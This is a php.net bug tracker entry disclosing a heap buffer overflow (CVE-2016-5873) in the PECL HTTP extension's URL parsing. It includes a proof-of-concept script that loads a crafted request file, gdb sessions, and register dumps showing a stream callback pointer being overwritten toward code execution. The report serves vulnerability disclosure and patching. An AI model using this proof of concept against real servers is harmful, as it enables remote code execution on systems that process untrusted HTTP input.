|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
[2016-03-08 15:25 UTC] johannes@php.net
-Status: Open
+Status: Assigned
-Assigned To:
+Assigned To: mike
[2016-03-09 08:48 UTC] mike@php.net
[2016-03-09 08:48 UTC] mike@php.net
-Status: Assigned
+Status: Closed
[2016-07-12 20:22 UTC] hlt99 at blinkenshell dot org
[2016-10-04 15:51 UTC] mike@php.net
-Type: Security
+Type: Bug
[2016-10-05 06:26 UTC] remi@php.net
-CVE-ID:
+CVE-ID: 2016-5873
[2016-10-05 06:29 UTC] mike@php.net
-Type: Bug
+Type: Security
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Nov 06 12:00:01 2025 UTC |
Description: ------------ The url parsing functions of the PECL HTTP extension allow overflowing a buffer with data originating from an arbitrary HTTP request. Affected are the parse_*() functions in php_http_url.c that are called from within php_http_url_parse(). Other parsing functions were not tested but might be affected as well. The problem occurs when non-printable characters contained in an URL are converted into percent-encoding. The state->offset used in these functions is incremented without sufficient checks regarding the size of the allocated state->buffer. Example from parse_mb() in php_http_url.c:781: static size_t parse_mb(struct parse_state *state, ...) { [...] } else { int i = 0; PHP_HTTP_DUFF(consumed, state->buffer[state->offset++] = '%'; state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) >> 4]; state->buffer[state->offset++] = parse_xdigits[((unsigned char) ptr[i]) & 0xf]; ++i; ); } [...] A php_stream_ops structure is stored in memory adjacent to the state->buffer. This struct holds valid callback function pointers for stdio-like functions (see php_streams.h:118). During my tests it was possible to modify one of these function pointers, get it called and execute absolutely unrelated instructions within the php binary. Thus I believe it's possible to use the described flaw to execute arbitrary code. # PoC $ cat http_message_parse.php /* http_message_parse.php poc.req: http://hlt99.blinkenshell.org/php/poc.req */ <?php $http_msg = new http\Message(file_get_contents("poc.req"), false); ?> $ ./configure --enable-mysqlnd --enable-soap --with-openssl --with-sqlite3 --enable-raphf --enable-propro --with-http --with-zlib-dir --enable-zip --enable-intl && make $ gdb ./sapi/cli/php gdb> b streams.c:467 gdb> r http_message_parse.php [...] RAX: 0x10031c0 --> 0x794560 (<php_stdiop_write>) ^-- !! original callback function pointer RBX: 0x7ffff1870300 RCX: 0x1 RDX: 0x7ffff1871078 RSI: 0x1 RDI: 0x7ffff1870300 RBP: 0x3 RSP: 0x7fffffffab30 RIP: 0x78f5b4 (<_php_stream_free+308>: call QWORD PTR [rax+0x10]) R8 : 0x1 R9 : 0x0 R10: 0x74000 R11: 0x1 R12: 0x0 R13: 0x102ea40 --> 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x78f5b4 <_php_stream_free+308>: call QWORD PTR [rax+0x10] [------------------------------------------------------------------------------] 0x000000000078f5b4 467 ret = stream->ops->close(stream, preserve_handle ? 0 : 1); gdb> c RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>) ^-- !! lower 3 bytes overwritten (halfbyte at offset 0x3f converted to hex char !! and byte at offset 0x40 in poc.req !! plus trailing 0x00 inserted by url parsing functions) RBX: 0x7ffff1870400 RCX: 0x1 RDX: 0x2 RSI: 0x1 RDI: 0x7ffff1870400 RBP: 0xb ('\x0b') RSP: 0x7fffffffa8a0 RIP: 0x78f5b4 (<_php_stream_free+308>: call QWORD PTR [rax+0x10]) R8 : 0x1 R9 : 0x0 R10: 0x682f377068702f73 ('s/php7/h') R11: 0x170 R12: 0x0 R13: 0x102ea40 --> 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] => 0x78f5b4 <_php_stream_free+308>: call QWORD PTR [rax+0x10] [------------------------------------------------------------------------------] 0x000000000078f5b4 467 ret = stream->ops->close(stream, preserve_handle ? 0 : 1); gdb> c Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x1004130 --> 0x82f490 (<ZEND_ADD_SPEC_TMPVAR_CONST_HANDLER>) RBX: 0x7ffff1870400 RCX: 0x1 RDX: 0x2 RSI: 0x1 RDI: 0x7ffff1870400 RBP: 0xb ('\x0b') RSP: 0x7fffffffa880 RIP: 0x82f346 (<ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>: movsxd rbx,DWORD PTR [r15+0x8]) R8 : 0x1 R9 : 0x0 R10: 0x682f377068702f73 ('s/php7/h') R11: 0x170 R12: 0x0 R13: 0x102ea40 --> 0x0 R14: 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x82f340 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER>: push rbp 0x82f341 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+1>: push rbx 0x82f342 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+2>: sub rsp,0x8 => 0x82f346 <ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER+6>: movsxd rbx,DWORD PTR [r15+0x8] [------------------------------------------------------------------------------] Stopped reason: SIGSEGV ZEND_ADD_SPEC_TMPVAR_TMPVAR_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:44295 44295 op1 = _get_zval_ptr_var(opline->op1.var, execute_data, &free_op1); ^-- !! crash during execution of arbitrary callback function !! /*** Backtrace right after overflow, before modified fn ptrs are called ***/ gdb> b php_http_url.c:1514 gdb> dis 1 gdb> r Breakpoint 2, php_http_url_parse ( str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff) at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514 1514 if (!parse_hier(state)) { gdb> bt #0 php_http_url_parse ( str=str@entry=0x7ffff185da05 "5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=len@entry=0x1, flags=flags@entry=0xffffffff) at /home/rc0r/tmp/php-src/ext/http/src/php_http_url.c:1514 #1 0x0000000000736bf1 in php_http_info_parse (info=info@entry=0x7fffffffaa20, pre_header=0x7ffff185da00 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0") at /home/rc0r/tmp/php-src/ext/http/src/php_http_info.c:138 #2 0x0000000000735838 in php_http_header_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0, flags=flags@entry=0x1, headers=0x7ffff1882090, callback_func=0x73a670 <php_http_message_info_callback>, callback_arg=callback_arg@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_header_parser.c:151 #3 0x0000000000740644 in php_http_message_parser_parse (parser=parser@entry=0x7fffffffaa00, buffer=buffer@entry=0x7fffffffa9d0, flags=0x1, message=message@entry=0x7fffffffa9c8) at /home/rc0r/tmp/php-src/ext/http/src/php_http_message_parser.c:249 #4 0x000000000073ba48 in php_http_message_parse (msg=0x7ffff1882070, msg@entry=0x0, str=str@entry=0x7ffff185d8d8 "\200\254Td 5 HTTP/1.1\nA\265_eptA eg", '\262' <repeats 20 times>, "ղ", '\262' <repeats 14 times>, "\260\260A HTTP/1.1\nA\265_eptABCDEFGHI", '\262' <repeats 25 times>, "TTP//X-Csrf-Token:1.0 HTTP/\215.0", len=<optimized out>, greedy=<optimized out>) at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:134 #5 0x000000000073c82d in zim_HttpMessage___construct (execute_data=<optimized out>, return_value=<optimized out>) at /home/rc0r/tmp/php-src/ext/http/src/php_http_message.c:1061 #6 0x00000000008560f2 in ZEND_DO_FCALL_SPEC_HANDLER () at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:842 #7 0x000000000081273b in execute_ex (ex=<optimized out>) at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:414 #8 0x0000000000864567 in zend_execute (op_array=0x7ffff187d000, op_array@entry=0x7ffff185d860, return_value=return_value@entry=0x7ffff1813030) at /home/rc0r/tmp/php-src/Zend/zend_vm_execute.h:458 #9 0x00000000007d4ee4 in zend_execute_scripts (type=type@entry=0x8, retval=0x7ffff1813030, retval@entry=0x0, file_count=file_count@entry=0x3) at /home/rc0r/tmp/php-src/Zend/zend.c:1427 #10 0x0000000000778b90 in php_execute_script (primary_file=primary_file@entry=0x7fffffffd260) at /home/rc0r/tmp/php-src/main/main.c:2487 #11 0x0000000000866194 in do_cli (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:974 #12 0x0000000000443b98 in main (argc=0x2, argv=0x10448c0) at /home/rc0r/tmp/php-src/sapi/cli/php_cli.c:1350 Expected result: ---------------- Error/exception indicating an invalid HTTP request Actual result: -------------- Segmentation fault